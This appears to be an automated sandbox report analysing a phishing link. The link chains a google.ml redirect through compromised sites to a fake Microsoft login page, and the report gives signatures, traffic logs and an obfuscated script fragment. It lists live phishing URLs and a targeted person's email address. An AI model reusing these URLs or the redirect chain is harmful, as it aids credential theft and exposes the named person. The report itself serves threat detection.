Edit tour

Windows Analysis Report
https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t

Overview

General Information

Sample URL:	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t
Analysis ID:	1555915
Infos:

Detection

HTMLPhisher

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish54

HTML page contains obfuscated javascript

Detected hidden input values containing email addresses (often used in phishing pages)

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1704,i,12455793612824541340,17080539977418563069,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 4128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.3.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.13.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.2.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 2 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish54

Source: Yara match	File source: 0.3.id.script.csv, type: HTML
Source: Yara match	File source: 0.13.i.script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.3.pages.csv, type: HTML
Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML

HTML page contains obfuscated javascript

Source: https://stoneinstallations.net.au/.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29t

HTTP Parser: function _0x1a15(_0x3eca03,_0x27d701){var _0x5cb73e=_0x5cb7();return _0x1a15=function(_0x1a

Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true

HTTP Parser: adarsh.malhotra@jato.com

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: 29528f2d-b195-44f5-9837-f1f8c24b686e05b0077e-1345-4aec-8d32-d5c75a253d05

HTTP Parser: Title: wNyq0AnSSTxrGeL_220U-gTv4498pEWavYrb4xOU does not match URL

Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Iframe src: https://butter2.mnrov.eg-mart.com/Me.htm?v=3
Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Iframe src: https://butter2.mnrov.eg-mart.com/Me.htm?v=3

HTTP Parser: <input type="password" .../> found

HTTP Parser: No favicon

Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 2.23.209.183:443 -> 192.168.2.17:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:60546 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.17:62144 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:60543 -> 162.159.36.2:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.google.ml to http://iestpcanipaco.edu.pe/.r/u1koge-surelilyywrhcnnolm1hbghvdhjhqgphdg8uy29t

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.73
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.73
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.5.88
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27

Source: global traffic	HTTP traffic detected: GET /url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1Host: www.google.mlConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCNy9zQEIkcrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1Host: www.google.mlConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCNy9zQEIkcrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=N8ELk7ZVmQYmVp1urYrfBKrYnXbCP4hJnRyfKq5RJ3skcmkoTSKTo1X_2JdjcK8Rh8AsTPwkdGjNdiGd1s_wIQXWouW_-pdZbQoP0AZDteluNKc5NN_UAKKr1Li4s2YDPf3Q6A-uPspgRM1f_vuE5GT0Uo_j6w6epWgo-D-gex_mPA4UmTKNrl8QSTWDV3Dq6MmO
Source: global traffic	HTTP traffic detected: GET /.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1Host: iestpcanipaco.edu.peConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1Host: stoneinstallations.net.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://iestpcanipaco.edu.pe/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -300X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=300; StandardBias=0; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Agent-DeviceId: 01000A41090080B6X-Search-RPSToken: 